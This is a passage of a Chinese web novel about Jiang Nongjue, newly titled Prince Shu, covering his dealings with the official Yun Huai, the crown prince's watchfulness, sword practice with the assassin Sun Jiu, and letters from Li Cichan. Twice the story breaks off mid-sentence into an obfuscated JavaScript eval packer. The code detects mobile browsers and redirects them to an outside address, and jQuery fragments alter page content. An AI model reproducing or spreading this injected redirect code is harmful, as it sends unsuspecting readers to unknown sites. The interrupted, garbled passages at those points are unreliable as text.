江醉玉在某种程度上,很喜欢他。乐于见到他立功受赏、拥有独立的府邸与爵位,甚至可能乐见他在有限的范围内施展才华。 但与此同时—— 他看似即将挣脱皇宫的樊笼,却离不开江醉玉所设下的网。 他人生未来的重大轨迹,婚姻、子嗣、乃至更深远的选择,都将被放置在太子殿下的目光与许可之下进行。 更别提将来他继承皇位之后了。 他真的能有……真正挣脱一切、随心所欲的那一天吗? 这个念头如一根冰冷的细刺,猝不及防地扎入脑海,留下一个细微、但足以让担忧发芽的裂隙。 他面上依旧维持着恭谨甚至略带感动的神色,将那枚龙纹墨玉佩仔细收好,再次躬身: “弄玦谨记表兄教诲。” 声音平稳,听不出一丝异样。 15. 本王乐于助人 京城城西的善堂与粥铺近来办得风生水起,皆因背后有位大人物暗中资助。 米粮充足,施粥厚实,若真有进京的穷苦人家断了炊,去那儿总能讨到一块实实在在的馒头,熬过最难的时候。 林知尘倚在临街茶楼的雅间窗边,俯瞰着善堂门口的长队,“啪”一声潇洒地打开折扇,唇角噙笑: “我现在可算明白,你为何总爱往这赔钱的善堂跑了。” 他转过头,看向对面那位姿态闲散的好友:“亲眼看到有人因此获救,或是能借此熬过生死一线……确实,比什么珍玩美酒都让人开心。” 对面的江弄玦正托着腮,目光随意地落在善堂门口,闻言眉眼一弯,笑意懒洋洋的:“我往北疆去的时候,这边多亏有你照看。竟还悄悄动用了林府的私产和人手,林兄真乃大善人也。” 林知尘“哧”地笑出声,拿扇子隔空虚点他:“你还好意思说!舒、王、殿、下!” 他语气里满是调侃与后怕:“知道我展读你留下的那封信时,有多后悔没提前押着你吃顿最好的‘断头饭’吗?信里头连遗言都备好了!你可倒好,立了大功,回来摇身一变,成了舒王!天知道你不在的时候,我每日对着那信,担了多少心!” 江弄玦见状,连忙凑过去,殷勤地塞了块精巧的点心到他手里,语气放软:“哎呀哎呀!好林兄!除了你,我在这京城还能信谁?” 他掰着手指头,一脸诚恳地数:“这些年,真正亲近的,左右不过你、辞禅、太子殿下三人。就算要留话,也只得托付给你们。我若是交给竹子和桃子那两个憨直的,” 他摇摇头,神情无奈:“他们怕是死也要跟着我去了。” 说着,他眨眨眼,摆出一副可怜相:“好林兄,弄玦可就全指着你了~” 林知尘瞥着他那故作可怜的模样,终究没绷住,叹了口气,语气软了下来:“行了,小可怜见的……你呀。” 他想起什么,又道:“说来,云家那位老九,前些日子还向我问起过你。你这刚回来,受封赏的消息他恐怕还不知,可要去看看他?” 江弄玦闻言,后知后觉地生出几分心虚。自己当初将人举荐上去,便甩手去了北疆,竟一次都未去探问过,实在有些“用后就忘”的嫌疑。若是他老妹在旁边,多少得被骂一句“渣男”。 他挠挠头,问道:“他如今……处境如何?” 林知尘“唰”地合上扇子,眼睛一亮,顿时来了精神: “嘿!简直是一鸣惊人!”他语调上扬,带着毫不掩饰的赞赏,“这位云公子在茶舍的短短数月,便让相连的几处铺面营收翻了几番!” “掌柜与我私下合计,此等经世之才,屈居商铺实在可惜。已寻了机会,将他举荐到了户部清吏司,先从主事做起。那里掌天下钱粮账册,最是磨砺人,也最易出成绩。依我看,此人前途不可限量。” 江弄玦吹了个清脆的口哨,站起身:“得,那今日便去瞧瞧这位一鸣惊人的云公子。” “哎,等等。” 林知尘用扇柄不轻不重地点了下江弄玦的手背,叫住他,脸上那惯常的散漫收敛了些,换上一种“你懂的”的神色。 “方才还想起来,你对那位云公子,关照之心可嘉,不过嘛,”他扇尖几不可察地朝东宫方向虚指了一下,拖长了语调,“分寸,分寸要紧。” 他话锋一转,身体前倾,声音压得更低,看似随意,眼底却掠过一丝锐光:“说来,你这两日在东宫那边,待得可还舒坦?” 江弄玦眉梢微动,随即扯开一个心照不宣的、甚至带点痞气的笑容:“怎么?觉得殿下待我越发……春风化雨了?” 林知尘没笑。他慢悠悠摇着扇子,仿佛在斟酌词句:“春风化雨自然是好。就怕这雨下得太专一,太绵密,把别的花花草草的根都泡软了。” 他转过头,直视江弄玦,别有深意道:“前儿个,那位来问北疆事,提起你的时候……啧,那神情。” 然后他用气音般的声音,极快地带过一句:“总之,你心里得有数。太招人惦记的好东西,要么被妥帖收藏,不见天日;要么……” 后面的话他没说,只是做了个割喉的手势,拍拍江弄玦的肩膀:“当然了!殿下看重你,那是天大的好事!日后咱们说不定都能跟着沾光不是?” “沾光……么?”江弄玦垂下眼睑,把玩着手中的空茶杯,语气轻得像自语。 “说不定,”他转过头,看向窗外熙攘的街道,带着点不易察觉的自嘲,“日后我就不当官,不干活,找个山清水秀的地方躲清闲呢?” 林知尘猛地睁大了眼睛,像看怪物一样看他:“江弄玦!你疯了?你可是新封的舒王!堂堂亲王!” “当王爷,”江弄玦回过头,理直气壮,“不就是为了能有名头地白吃朝廷饭,顺便逍遥快活吗?” 林知尘被他这远大志向噎得一时语塞,脸上的表情扭曲了片刻,咬牙切齿道:“……我嫉妒你。” 江弄玦终于忍不住,朗声笑了起来。 林知尘思想之包容开放,有时甚至让江弄玦产生一种冲动,想跟他分享一些更为“大逆不道”的念头。也正因这份难得的包容与不评判,江弄玦才格外喜欢与他相处,几乎将他当成了另一个世界的“同类”。 “得了,”江弄玦将最后一块豌豆黄利落地塞进嘴里,引来林知尘“暴殄天物”的怒视,“我真走了,去看看云老九。” “看看看!就知道招花引蝶!”林知尘在他身后笑骂。 “我耳朵没聋!听得见!”江弄玦头也不回,扬着手大声回道,身影已利落地消失在楼梯转角。 林知尘摇头失笑,目光却再次落向窗外善堂的方向,笑意渐渐收敛,化为一丝若有所思的忧虑。 “逍遥快活……么。” 日头渐高,吏部各司的官吏陆续忙完手头急务,三两结伴前去用膳。喧嚷的人声如潮水般退去,宽阔的办事堂内很快变得空旷安静。 唯有一处角落,还有人伏案埋首,运笔如飞。墨迹在纸上游走,发出极轻的沙沙声,专注得连有人行至案前都未曾察觉。 “云大人。” 声音不高,却让那支疾走的笔尖蓦然一顿。云淮下意识先看了眼案角的时簋,才惊觉午时已过。 他旋即抬头,望向眼前陌生的面孔,眼中带着谨慎的疑惑:“您是?” 来人穿着比他品阶更高的青色官服,态度客气:“上面有一位大人要见您,请随我来。” 云淮起身,心下念头飞转。 是福是祸?他在京城并无根基,所识的大人物屈指可数,难道是…… 穿过几道回廊,来到一处更为清静的偏厅外。引路的官员停下脚步,向内通报:“殿下,人带到了。” “进来。” 听到那声清晰的“殿下”时,云淮心头猛地一跳,先前模糊的猜想骤然清晰。 是他! 他深吸一口气,推门而入。 室内陈设雅致,一炉上好沉水香正吐出袅袅紫烟,清芬怡人。窗边一人背身而立,身姿挺拔,闻声转了过来。 午后明亮的阳光透过窗棂,恰好勾勒出那人的轮廓。眉目舒朗,贵气天成,一身宝蓝色锦袍衬得他愈发丰神俊秀,嘴角噙着一抹浅淡随和的笑意,目光清亮地投了过来。 云淮呼吸几不可察地一滞,心头莫名漏跳了一拍,随即才慌忙垂下视线,欲要行礼,却又一时语塞。 该称“恩公”?未免过于直白亲近,况且引荐之事于对方或许只是举手之劳。 称“江公子”?可方才分明听得真切,引路之人称的是“殿下”…… “不必多礼,云公子。” 正当他踌躇之际,那含笑的清朗嗓音已先一步响起,带着一种令人放松的温和,适时解了他的围。 云淮暗自松了口气,抬起头,撞进对方那双含笑注视的眼眸里。那目光清澈坦荡,并无上位者的倨傲,让他喉头莫名又是一紧,准备好的话语在舌尖打了个转,才带着十二分的郑重说出口: “公子大恩,云淮没齿难忘。只是一直不知该如何报答,心下时常惶恐。今日得见公子,一时之间,竟不知该说什么才好。” 他再次深深一揖。 江弄玦轻笑两声,语气松快,带着一种令人安心的坦诚:“有你这份心意便足够了。你的才干,我已从掌柜和林兄那里听说了不少。方才也与吏部考功司的刘郎中聊过,他对你亦是赞不绝口,直言云公子是难得的务实之才。” 他微微倾身,目光真诚:“说实话,能成为那个为你搭把手、让你施展才华的人,是我的运气。” 云淮低着头,不敢与他对视,生怕自己眼底翻涌的复杂情绪泄露出来:“公子言重了,淮愧不敢当。” “哈哈,不必如此拘谨。” 江弄玦示意他在一旁的椅子上坐下,自己也随意地坐在邻座,姿态放松。 “若你真想报答,那便好好在吏部做事,站稳脚跟,步步向上。你走得越高,前程越远,于我而言,便是最好的报答了。” 云淮心中警铃微作。这话听起来颇有几分要将他直接纳入麾下的意味。他虽对眼前之人满怀感激,但若牵扯进派系之中…… “放心,”江弄玦像是看穿了他瞬间的沉默与警惕,眼中笑意更深,带着点了然和调侃,“未来,你是要为太子殿下效力的。我么,不过是个牵线搭桥的。你有此顾虑,实属正常。” 他顿了顿,语气依旧随意:“毕竟,我好像一直没正式告诉你,我是谁。” 云淮这才敢抬起眼,仔细看向对方。见他仍是那副闲适从容、毫无逼迫之意的模样,心下稍安,谨慎道:“公子确实未曾明言。淮不敢妄加揣测。” “没什么好藏的,以你的聪慧,想必也猜得八九不离十了。”江弄玦无奈地笑了笑。 云淮指尖无意识地蜷缩了一下。 这个年纪的皇室子弟,能自由出入东宫办事,姿仪气度又如此卓然……将这些条件拼凑起来,在京城稍微留点心,答案几乎呼之欲出。他只是始终不敢确信—— “江弄玦。” 对方坦然说出了自己的名字。一身宝蓝锦衣衬得他愈发神采奕奕,那笑容明朗,带着蓬勃的少年朝气。 竟真的是他。 镇北王世子,如今京中热议的风云人物,太子一派的代表。 这意味着,他即将踏上的,将是一条十足安全的青云梯——太子一脉,重用实干贤才,只要确有能为,便不必过分忧心派系倾轧。 更何况,当朝太子贤名在外,行事稳健有度,无人会质疑其继承大统、成为一代明君的潜力与未来。 心中那七上八下的忐忑,在这一刻,竟奇异地平复下来,化作一种踏实感。 “虽然正式的册封旨意还未颁下,不过你很快也会知晓。”江弄玦端起茶盏,抿了一口,语气平常,“现在,该称我一声‘舒王’了。” 云淮白皙的脸上难掩讶色,但他迅速垂眸,将疑问咽了回去,没有失礼追问。 江弄玦看在眼里,好心补充道:“家父在北疆薨逝了。之前举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云淮听得全神贯注,时而凝眉思索,时而提出关键疑问。江弄玦这番毫无保留的“补课”,信息量之大、见解之深,远超他过去闭门苦读所得,让他只觉余韵悠长,深知归家后还需反复咀嚼消化。 临别时,云淮走到门边,脚步不由自主地顿住,回头望去。 江弄玦正随手整理着案上文书,似有所感地撞上他回望的目光。下意识地,江弄玦扬起一个明朗的笑容,朝他挥了挥手。 “去吧。好好干。若我还在京城,得了空,便来瞧瞧你的功课做得如何。” 于理,江弄玦确实不必对一个偶然发掘的人才投入如此多的特殊关照。但他心里有八九分把握,眼前这位,便是未来游戏中的“云卿南”。此刻的指点与扶持,于公于私,都是一笔稳赚不赔的投资。 云淮张了张嘴,平素伶俐的口舌,此刻却像被什么堵住了,万千心绪涌到嘴边,最后只化作最规矩的一句: “淮,告退。” 走出那间充满沉水香与阳光的屋子,踏入秋日微凉的官道,云淮仍有一种不真切的恍惚感。 这一切……好得太过突然,太过幸运。 幸运到让他觉得,过往十数年里主母的刻薄刁难、父亲的冷淡忽视、为护着病弱姨娘和年幼妹妹而熬过的那些艰辛日夜……仿佛都是为了积攒下足够的厄运,才换来今日这般峰回路转,得遇贵人。 直到踏进自家那处偏僻简陋却收拾得整洁的小院,听见妹妹清脆的笑语,看到姨娘倚门期盼的温柔目光,那种仿佛踏在云端的虚幻感,才骤然落地,化为切实的暖意。 “兄长!你回来啦!”云挽茜像只雀儿般蹦到他面前,眼睛亮晶晶的。 “我今天又去善堂那边帮忙了!还学着你的法子,跟中间商周旋,狠狠‘宰’了两个黑心贩子,用赚来的差价给隔壁巷子那家快揭不开锅的婆孙买了顿热乎饭菜呢!” 姨娘倚在门框边,脸上又是欣慰又是担忧,忍不住咳嗽了两声才道:“茜儿有善心是好事……可对方毕竟是大人,你虽机灵,万一被人识破,找上门来可如何是好?” “我才不怕!”云挽茜一把抱住云淮的胳膊,得意地晃了晃,“我有天下第一聪明的兄长给我出主意,出不了岔子!” 她转向云淮,语气雀跃:“兄长如今在衙门里越来越受看重,连父亲这几日都常来咱们院里坐坐了!姨娘,你该高兴才是呀!” 姨娘望着女儿鲜活的小脸,又看看儿子明显比往日更挺直几分的背脊,嗔怪道:“淮儿,你别光站着,也说说茜儿,这丫头越来越野了。” 云淮这才从满腹的思绪中抽离,目光落在妹妹娇憨带着藏着狡黠的脸上,伸手揉了揉她的发顶。 “小丫头片子,给你出主意是让你学着看账,谁承想你拿去行侠仗义了?还是那句话,莫把人想得太简单。就你这半桶水晃悠的,还整日嚷嚷着将来要做大生意?” “啊啊啊!兄长!”云挽茜跺脚,“一张嘴就这么毒!难怪衙门里都没人愿意跟你玩儿!” “谁说的?为兄的同僚不知多欣赏我这份务实。” “那叫欣赏吗?那叫怕了你了!” 兄妹俩你来我往,拌嘴声瞬间充满了小小的院落。姨娘看着眼前这喧闹却生机勃勃的一幕,笑着摇了摇头,转身进屋张罗简单的晚饭,眼角眉梢,是多年未见的轻松与盼头。 秋日的夕阳将小院的影子拉长,也将那份来之不易的、名为希望的暖意,悄然烙在了每个人的心头。 16. 本王深夜吃瓜 几日后,皇帝将江弄玦北疆之行一事昭告天下,同时宣布了镇北王江逸垢薨逝的消息。 圣旨中对镇北王功绩颇有褒扬,但真正震动朝野的,是其后关于那三十万镇北军归属的安排:军队仍由镇北王生前部分心腹老将在北疆就地统辖管理,以保边防无虞。 然其“最终节制统调之权”,则授予江弄玦。 与此同时,江弄玦因“北疆平乱、御敌有功”,被破格提前册封王爵,封为“舒王”。 旨意颁下,京城舆论瞬间鼎沸。 有人盛赞陛下仁厚,既保全了镇北王体面,又妥善安置了功臣之后与边疆大军;也有人私下嗤笑,说这不过是陛下将烫手山芋扔给一个半大孩子,顺带给小狗拴上了链子。 然而,在真正的明眼人及局中人看来,这份安排绝非表面恩威并济的简单赏罚。 圣旨送到江弄玦新搬进的舒王府时,他正对着窗外一株将谢未谢的海棠出神。 听完宣旨太监那抑扬顿挫的颂读,他面上恭谨谢恩,心中却一片冰冷的清明。 好一招名至实归,好一个皇恩浩荡。 他几乎能想象出皇帝在写下“最终指挥权”五字时,嘴角那抹深沉的笑意。 对北疆旧部,他成了他们名义上的少主,但任何来自朝廷的压迫感,都会转化为对他的期望与索取。他都能猜想得到,什么“世子,您得为我们做主!”之类的暗折将源源不断地送来。 可他能做什么?一道奏折?一次求情?在绝对的猜忌面前,这些苍白无力。 对皇帝与朝廷,他成了最醒目的人形靶子。所有对镇北军残留势力的忌惮、不满、恐惧,都会聚焦于他一身。他必须表现得比任何人都忠诚,才能暂时保住性命。 他就像被抛入了一个无解的死局。 亲近旧部,是结党营私。 疏远旧部,是忘恩负义。 积极问事,是觊觎兵权。 撒手不问,是怠惰失职。 任何一丝多余的偏颇,都会导致万劫不复。 “殿下,可是有何不妥?”身旁的内侍见他久久不语,小心问道。 江弄玦回过神,垂下眼睫,掩去眸中所有情绪。 “并无。陛下思虑周全,臣,感佩涕零。” 他转身,走向书房。案头那枚龙纹墨玉佩在烛光下泛着温润的光泽,旁边是堆积如山的、来自北疆的问候文书与军中简报。 每一封信,都是期望。 每一份简报,都是责任。 窗外,京城秋意渐浓。 唱衰者与叫好者的声音仿佛隔着高墙隐隐传来,交织成一片模糊的噪音。 江弄玦提起笔,开始批复第一封北疆来信,笔尖稳健。 处理公务的时间总是很快。 当江弄玦终于感到脖颈僵硬,想站起来活动一下久坐的身体时,抬首望去,才惊觉窗外的天色已被夕阳染成一片瑰丽的橘红。 再望回宽大的紫檀木案头——北疆的文书只批阅了不到三分之一,旁边又叠起了新送来的一摞。除了镇北军遗留的繁杂事务,太子那边的政务,也被东宫派来协助王府理政的内侍送了过来。 这一回京,还没喘口气,就直接进入了996模式。 江弄玦扯了扯嘴角,一股混合着疲惫与荒谬的郁气涌上心头,竟连腹中的饥饿感都暂时压了下去。 这具身体才十六岁,放在原来的世界,分明是禁止雇佣童工的年纪! 他搁下笔,起身走出书房,并未传唤任何人,独自踱向舒王府后院的演武场。 暮色中的演武场空旷安静,兵器架在余晖中投下长长的影子。 他伫立片刻,从怀中取出一枚状如鸟哨的骨笛,置于唇边。气流轻轻送入,未发出常人可闻的声响,只有特定频率、极细微的震颤扩散开来。 不过片刻,身后便传来一道熟悉得近乎缥缈的清越嗓音,带着一丝疑惑: “找我?” 江弄玦转过身。 来人依旧戴着那副质朴的暗色面具,身影如同融入暮色的轻烟,无声无息地自演武场边一棵古槐的枝梢飘然而下,落地时宛如一片羽毛,点尘不惊。他今日未用树枝随意挽发,而是将一头墨发编成了利落的蝎子辫,垂在身后,随着他落地的动作轻轻一荡。 正是隼九。 他琥珀色的眸子透过面具孔洞望过来:“无事?此处,很多眼睛。” 江弄玦笑了笑:“自然有事。我请你来,本是做我的武艺师父,兼贴身护卫。此事,我已禀明太子殿下。” 他顿了顿,目光扫过周围静谧的庭院:“殿下已然准了。” 这话半真半假。请求庇护是真,但帮隼九查案才是根本的目的。 与其让隼九的存在成为需要百般遮掩的秘密,不如寻个光明正大的理由,将他摆到明处。毕竟,想要完全避开皇帝和江醉玉的视线,根本是痴人说梦。 有些秘密,在阳光下反而更安全。 隼九颔首,已是了然。 “今日倒是不邋遢了。” 江弄玦见到他,心头那因公务堆积而生的烦闷都散去几分,忍不住开口调侃。 他眉梢微挑,饶有兴致地上前,绕着隼九缓缓踱了一圈。 今日的隼九确实大不相同。 总是随便束起,或是干脆散开的长发被打理成复杂利落的蝎子辫。 那身标志性的、洗得发白还常沾草屑的布袍不见了。取而代之的是一身毫无杂色的玄黑劲装,裁剪合体,线条利落,将他精瘦矫健的身形勾勒得清清楚楚。腰间更是一物不佩,干净得近乎凛冽。 江弄玦摸着下巴,一边踱步一边啧啧评价:“这打扮不像你的风格。怎么,是让哪位心上人瞧着你那身行头太糟心,终于忍不住出手替你收拾了?” 隼九任由江弄玦围着自己评头论足,自顾自走到一旁的树下,目光逡巡,开始仔细挑选合用的树枝。 他蹲下身,语气平淡地回应:“不是。” “今日,去见哥哥了。”他抬起脸,面具后的目光迎上俯视自己的江弄玦,补充道,“如果不穿成这样,他就会,一直唠叨。” “哥哥?”江弄玦也顺势蹲下,跟他一起在落枝中翻找,语气带上一丝好奇,“他很厉害?” “很厉害。”隼九简短肯定,同时选中了一根笔直且粗细适中的树枝,拾起来凌空挥了两下,感受着它的韧性与重量。 “比你厉害?”江弄玦追问,也捡起一根枝条。 隼九瞥了他一眼,站起身,随手挽了个剑花。 “打不过我。” “嚯——!” 江弄玦正好也挑中一根满意的,闻言眼中光亮一闪,比划着站了起来。 “那……跟我比呢?” 话音未落,隼九已然起势! 身影如黑羽掠地,手中树枝带着破风之声,倏然点向江弄玦咽喉! 树枝不比铁剑,更有韧性,攻击时对力道的精妙控制、发力角度的瞬间调整,要求更高。 江弄玦手腕一拧,枝条如灵蛇般贴上来,堪堪将那股凌厉的力道卸开,震得虎口微麻。 “不分伯仲。” 隼九轻飘飘地回了一句,不知是说哥哥与江弄玦,还是说他与江弄玦此刻的切磋。 江弄玦一勾唇角,战意被彻底点燃。 “他也是组织中的人?” “……是。”隼九气息未乱,攻势却陡然变得更为刁钻险峻,树枝化作一片令人眼花缭乱的虚影。 两人身影在渐浓的暮色中交错,枝条相击的脆响与衣袂破风之声不绝于耳,惊起了檐角暂栖的寒鸦。 最终,江弄玦体力不支,败下阵来,气喘吁吁地丢掉手中树枝,高举双手做出投降姿势。 他眨了眨眼,汗水顺着额角滑落,脸上却带着笑:“旁边厢房里,我让人提前备了吃食,还温着。” 隼九反手将树枝精准掷回树下那堆落枝中,言简意赅:“走。” 待二人在厢房暖黄的灯火下,对坐着吃上夜宵时,江弄玦那被武技切磋暂时压下的好奇心,又活络了起来。 隼九是孤儿,却对那位“很厉害”的哥哥如此敬重提及。 江弄玦原本下意识以为他口中的“哥哥”就是游戏男主之一的夏拾欢,可隼九又说哥哥“打不过我”,这与他印象中武力值天花板的夏拾欢设定相悖。 越想越迷糊,反倒让他心痒难耐。 “你说你哥很厉害,”江弄玦夹了一筷子笋丝,状似随意地问道,“但又打不过你。那他的‘厉害’,究竟在何处?” 隼九正专心对付一只酱香浓郁的猪蹄,闻言头也不抬,声音透过咀嚼有些含糊,却异常肯定:“他很聪明。” “组织里,最聪明。” 江弄玦:“?!” 能让隼九这种心思纯粹、直来直往的人,用“最聪明”来形容,那绝对非同小可。 “最聪明?比你们首领还聪明?”江弄玦试探着问,心想这评价未免太高。 隼九点了点头,咽下口中食物,语气平淡地抛出一个更惊人的信息: “嗯。不仅如此,首领已让哥哥接任新首领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515985|203193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “什么?!”江弄玦惊得差点碰倒手边的茶盏,眼睛都瞪大了。 隼九瞥了他一眼,琥珀色的眸子里闪过一丝不解,仿佛在说“这有什么好奇怪的”。 “怎么了?” “那、那首领呢?”江弄玦赶紧扶好杯子,压低声音问。 “颐养天年。”隼九补充道,“最近,哥哥刚接任。” 江弄玦如同被一道无声的惊雷劈中,半晌没回过神来。 他脑子飞快转动,将前因后果串联起来,压低声音揣测道:“这样一来,当初你接单刺杀我,中途却临时变卦,跟我达成交易,事后却没受组织责罚……是不是因为你哥刚接任,替你担下来了?” “不知道。”隼九诚实摇头,又啃了一口猪蹄,油光衬得他淡色的唇瓣有了些生气,“那些事,我一向不管。是哥哥替我交涉的。” 江弄玦:“……” 他默默夹了一筷子菜,心中五味杂陈。 这位哥哥,何止是“厉害”。 简直是深不可测!手握权柄,还能把自家武力值爆表、思维却过于直球的弟弟护得滴水不漏,事事都能摆平。 ……忽然有点羡慕是怎么回事。 我也想要一个这样有实力、还能兜底的哥哥啊啊啊! 这念头一闪而过,江弄玦忽然意识到一个关键问题。 他放下筷子,身体微微前倾,压低声音问道:“既然你哥哥如今已是涧中林的首领,手握天下最隐秘的情报网……你有没有请他帮你查查神鹰部的案子?若有他出手,岂非事半功倍,甚至可能早已水落石出?” 隼九正拿着布巾擦拭手指,闻言动作一顿。 厢房内安静了片刻,只有烛火偶尔的噼啪声。 “问过。” 他终于开口,声音比方才低沉了些,目光落在自己干净的手指上, “哥哥说,他可以查,但有两个问题。” 江弄玦凝神静听。 “第一,”隼九抬起眼,琥珀色的眸子里映着跳动的烛光,却没什么情绪。 “他说,涧中林的情报网再广,也并非无所不能。尤其是牵扯到十五年前、可能涉及朝堂权贵的灭族血案。当年的痕迹早已被有心人抹得七七八八,即便动用全部力量深挖,也需要时间,且极易打草惊蛇。” 他顿了顿,似乎在回忆哥哥当时的话语。 “第二,哥哥说……有些路,得自己一步一步去找,有些答案,得自己亲手去揭开。旁人铺好的路,走到尽头,看到的可能只是别人想让你看到的真相。” “他答应帮我留意相关的边缘消息,筛选可疑的线索,但核心的调查他让我自己来。” 隼九说完,重新拿起筷子,夹了一块糕点,小口吃起来。 江弄玦听后,陷入思考。 通过隼九的只言片语,他对涧中林的这位新首领也得到了一些了解。 不直接给予答案,而是提供有限的帮助,让当事人必须亲自踏入迷雾,直面过往。 这既是对隼九能力的信任,也是一种保护——唯有亲身经历、亲手触碰到的真相,才能成为一个人真正成长的基石,而不是一道轻飘飘的、可能无法承受的“礼物”。 同时,这也避免了将整个涧中林彻底地卷入一桩可能惊天动地的旧案漩涡,为组织保留了回转、中立的余地。 这位新首领,很有远见。 “你哥哥,”江弄玦感慨了一声,“说得对。” 隼九点了点头,认真道:“哥哥总是对的。” 语气里是全然的信赖,没有丝毫被拒绝的委屈或不满。或许在他的世界里,哥哥的决定,自然有哥哥的道理。 江弄玦看着隼九这副模样,忽然觉得,那位哥哥将弟弟保护得如此之好,让他即便身处黑暗的杀手组织,也能保有这份近乎天真的纯粹与专注,未尝不是另一种了不起的本事。 同样曾经身为哥哥,江弄玦比谁都明白,这需要付出怎样的心力和智慧。 “那,”江弄玦笑了笑,换上了认真的神色,“我们就自己查。一步一步来。” “嗯。”隼九应了一声,目光落在桌上另一盘还没动过的点心上,“那个,我能吃吗?” “吃,都给你。”江弄玦失笑,将盘子推了过去。 隼九满足地吃完最后一口夜宵,抬眼问道:“明日,还练?” “练。”他笑着点头,“当然练。” 暮色已沉,舒王府的演武场重归寂静,唯有厢房内暖黄的灯火与细微的咀嚼声,透着一丝人间烟火的平和。 17. 本王善解人意 没过几日,舒王府的书房里,江弄玦又收到了那熟悉的、来自西北边关的厚重信笺。 展开信纸,扑面而来的便是李辞禅那力透纸背、几乎能想象出其主人咬牙切齿模样的字迹。 开篇便是不留情面的一通数落,责他行事逞能,孤身入北疆乱局,简直是莽夫行径,合该寻个由头推了才是。又懊恼自己当初上奏请派李家军前往协防的折子写得不够强硬,所幸阴差阳错,竟真派上了用场,堪堪保住了江弄玦这条的小命。 接着,笔锋一转,显然是他得知了江弄玦受封的消息。 “舒王殿下好生威风”、“如今可是正经的王爷了,末将高攀不起”…… 总之,他阴阳怪气了足足大半页。 江弄玦看得额角青筋暴起,这才一目十行地看完一整页酸话。 然后,就是一连串的追问密密匝匝地抛了过来。 可曾受伤?伤势如何?京中太医瞧过没有?以前练功时的旧疾有没有复发? 随信而来的还有好几大箱东西,皆是快马加鞭送入京的。 有军中效果极佳的金疮药、祛疤膏,也有西北难得的温补药材,林林总总,恨不得将整个边关能搜罗到的好东西都塞过来。 信的末尾,他写道: “你好好待在京城,莫要再行鲁莽之事!” 江弄玦捏着信纸,指尖微微发烫。 他自然没忘几年前那个夜晚的告白。但此刻汹涌心头的,却是一种更为复杂的情感。 那是什么呢?江弄玦想,那是一种近乎家人般的牵挂。 他想起之前对林知尘说的那句话,确是肺腑之言。 穿越至此,原主的母亲林苏柠给予了他最初也是最后的血缘温暖,而后便是竹子和桃子不离不弃的陪伴照料。再后来,命运诡谲,将他抛入这权力漩涡的中心,却也让他遇到了李辞禅、江醉玉、林知尘这些人。 他们之间的关系,掺杂了太多的身份、利益、算计,感情,剪不断,理还乱。可剥开这些层层叠叠的壳,内里那份对他的真切关心,却做不得假。 窗外的日光安静地移动着。江弄玦提起笔,蘸饱了墨,开始一一回复。 他先是向那位“小祖宗”为自己的“鲁莽”告罪,又郑重感谢李家军的及时援手,坦言若非如此,后果难料。他还特意提及,回京后已亲自登门拜谢过李辞禅的兄长,李家的情谊他铭记于心。 信至末尾,他的笔迹放缓,带上了一丝不易察觉的叮嘱: “西北苦寒,年关将至,万事小心。御寒之物当备足,巡防不可懈怠。盼早日建功,待将领轮值之期,争取回京一叙。” 搁下笔,他轻轻吹干墨迹,将信纸仔细封好,唤来了那只正傲然立在窗棂上梳理羽毛的信鹰。 这通体灰褐、目光锐利的猛禽,是李辞禅的宝贝。 因北疆之行仓促,未能好好道别,李辞禅便赌气似的将自己驯养多年的爱鹰派来,说是以后通信都靠它,省得那些跑腿的磨磨蹭蹭,让李辞禅等信等得心烦。 这鹰也随了主人性子,是个眼高于顶的主儿。王府的下人内侍但凡靠近些,它便梗起脖子,发出威胁的低鸣,作势欲啄,高傲得很。唯独对江弄玦,它倒似认得气息,虽不至于亲近,却也允许他靠近、顺毛。 江弄玦将封好的回信仔细系在信鹰腿部的皮囊中,又伸手替它顺了顺油光水滑的羽毛。信鹰从喉咙里发出一声满意的咕噜,侧过头,用那双金棕色的圆眼瞥了他一下,眼神里竟透出几分赞许的意味。 旋即,它双翅一振,带起一阵劲风,灰影如箭般窜出窗户,眨眼间便融入京城铅灰色的天际,朝着西北方向,疾飞而去。 不久后,正如江弄玦所望,原本对“舒王”的叫好声都变成了质疑与失望。 江弄玦得了舒王爵位后,便以一种近乎放纵的姿态,迅速融入了京城纨绔子弟的圈子。 今日跑马射柳,明日酒楼听曲,后日又牵头组局投壶,出手阔绰。很快,“舒王殿下贪图享乐”的名声便不胫而走,虽被清流暗中诟病为“堕落”,却也实实在在让帝后二人对他放下几分心来。 皇帝与皇后乐见其成。 一个有能力却自甘堕落、只知玩乐的王侄,远比一个锐意进取、广结人缘的亲王让人安心。他们默许甚至鼓励江弄玦继续为太子效力——毕竟江弄玦用着确实顺手。当然却绝不能容忍他声名鹊起,受人爱戴。如今这般“自污”,正中他们下怀。 白日里,江弄玦仍辅助江醉玉处理如山的政务。夜幕降临,他便褪去朝服,回到王府的演武场。 隼九如今已是舒王府明面上的武艺师父兼护卫头领。 江弄玦学得刻苦,隼九教得也专注。练剑间隙,江弄玦也渐渐拼凑出隼九更多过往。 隼九自幼被涧中林前首领收养,与同样被收养的哥哥一同长大。如今哥哥接任首领,隼九便成了组织内地位超然的“二把手”,拥有了更大的自由,却也担着更重的责任。 这三个月,江弄玦便在多线并行的忙碌中度过—— 北疆那边,他暗部令暗部根据“神鹰部”“上乘矿产”“冶炼秘法”等信息去调查。因为隼九的吊坠中最为突出的特征便是那独一无二的材料。 江弄玦怀疑,那是神鹰部独有的冶铁秘法,或者那吊坠材质本身特殊而导致的,可以当作调查的关键线索。 